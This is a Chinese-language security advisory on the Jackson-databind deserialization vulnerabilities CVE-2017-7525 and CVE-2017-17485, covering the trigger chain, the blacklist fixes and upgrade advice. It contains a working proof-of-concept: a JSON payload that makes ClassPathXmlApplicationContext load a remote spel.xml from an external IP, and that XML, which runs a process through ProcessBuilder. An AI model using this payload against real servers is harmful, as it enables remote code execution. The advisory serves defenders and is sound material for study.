Jackson漏洞历史(CVE-2017-7525)
北京时间2017年4月15日,Jackson框架被发现存在一个反序列化代码执行漏洞。该漏洞存在于Jackson框架下的enableDefaultTyping方法,通过该漏洞,攻击者可以远程在服务器主机上越权执行任意代码,从而取得该网站服务器的控制权。
Jackson是一个开源的Java序列化与反序列化工具,可以将java对象序列化为xml或json格式的字符串,或者反序列化回对应的对象,由于其使用简单,速度较快,且不依靠除JDK外的其他库,被众多用户所使用。
关于历史漏洞的分析可以参考,绿盟科技在17年发表的技术分析文章:http://blog.nsfocus.net/jackson-framework-java-vulnerability-analysis/
漏洞触发链
getOutputProperties()->newTransFormer()→newInstance()
构造方式
通过java生态中的第三方库存在的序列化方法构造序列化恶意攻击代码,并将恶意代码base64编码后拼接到一个精心构造的json数据包中,代码层如果在使用ObjectMapper对象实例时
(ObjectMapper mapper = new ObjectMapper();)开启了enableDefaultType特性(例如mapper.enableDefaultTyping();),会在readValue时对传入的JSON自动调用第三方库的反序列化方法,造成代码执行。
官方修复方式
官方在漏洞产生后,通过黑名单的方式禁止黑名单中的第三方库因为反序列化问题而产生的代码执行漏洞。
黑名单如下:
org.apache.commons.collections.functors.InvokerTransformer org.apache.commons.collections.functors.InstantiateTransformer org.apache.commons.collections4.functors.InvokerTransformer org.apache.commons.collections4.functors.InstantiateTransformer org.codehaus.groovy.runtime.ConvertedClosure org.codehaus.groovy.runtime.MethodClosure org.springframework.beans.factory.ObjectFactory com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl
新漏洞的产生(CVE-2017-17485)
众所周知黑名单是一种不可靠的修复方式,攻击者常常可以通过一些手段绕过黑名单,造成漏洞影响。
安全研究人员发现,在开启enableDefaultTyping()的前提下可以通过Jackson-databind来滥用Spring spel来执行任意命令。
POC
关于Jackson-databind漏洞所有的poc验证代码:https://github.com/shengqi158/Jackson-databind-RCE-PoC Code by 廖新喜
其中CVE-2017-17485的验证代码:
package jackson; import com.fasterxml.jackson.databind.ObjectMapper; import java.io.IOException; import java.lang.reflect.Array; /** * Created by liaoxinxi on 2017-12-11. */ public class TestJdbcRowSetImplPoc { public static void main(String args[]){ testSpringFramework(); } public static void testSpringFramework(){ //CVE-2017-17485 // 假设这是攻击者可以控制的请求包payload String payload = "[\"org.springframework.context.support.ClassPathXmlApplicationContext\", " + "\"http://188.51.32.233/spel.xml\"]\n"; ObjectMapper mapper = new ObjectMapper(); mapper.enableDefaultTyping(); try { mapper.readValue(payload, Object.class); } catch (IOException e) { e.printStackTrace(); } } }
spel.xml文件内容:
<beans xmlns="http://www.springframework.org/schema/beans" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation=" http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans.xsd "> <bean id="pb" class="java.lang.ProcessBuilder"> <constructor-arg value="/Applications/Calculator.app/Contents/MacOS/Calculator" /> <property name="whatever" value="#{ pb.start() }"/> </bean> </beans>
造成代码执行:
官方已经更新黑名单列表,并计划在Jackson的大版本3.X通过api层实现基于白名单的序列化方式来应对多态类:
org.apache.commons.collections.functors.InvokerTransformer org.apache.commons.collections.functors.InstantiateTransformer org.apache.commons.collections4.functors.InvokerTransformer org.apache.commons.collections4.functors.InstantiateTransformer org.codehaus.groovy.runtime.ConvertedClosure org.codehaus.groovy.runtime.MethodClosure org.springframework.beans.factory.ObjectFactory com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl org.apache.xalan.xsltc.trax.TemplatesImpl com.sun.rowset.JdbcRowSetImpl java.util.logging.FileHandler java.rmi.server.UnicastRemoteObject org.springframework.aop.support.AbstractBeanFactoryPointcutAdvisor org.springframework.beans.factory.config.PropertyPathFactoryBean com.mchange.v2.c3p0.JndiRefForwardingDataSource com.mchange.v2.c3p0.WrapperConnectionPoolDataSource
修复建议
- 升级到最新版本jackson-databind 2.7.9.2,2.8.11,2.9.3.1(2018-01-13 00:04:20该版本还未发布)
- 禁用enableDefaultTyping()方法;
- 对客户端传入的JSON数据,进行过滤或者类型检查。
参考链接
http://blog.nsfocus.net/jackson-framework-java-vulnerability-analysis/
https://github.com/shengqi158/Jackson-databind-RCE-PoC
https://mp.weixin.qq.com/s/FOOC9EmNqGE9YB5OAu4mEA
https://github.com/FasterXML/jackson-databind/releases
https://www.securityfocus.com/archive/1/archive/1/541652/100/0/threaded
https://adamcaudill.com/2017/10/04/exploiting-jackson-rce-cve-2017-7525/
https://www.secfree.com/article-676.html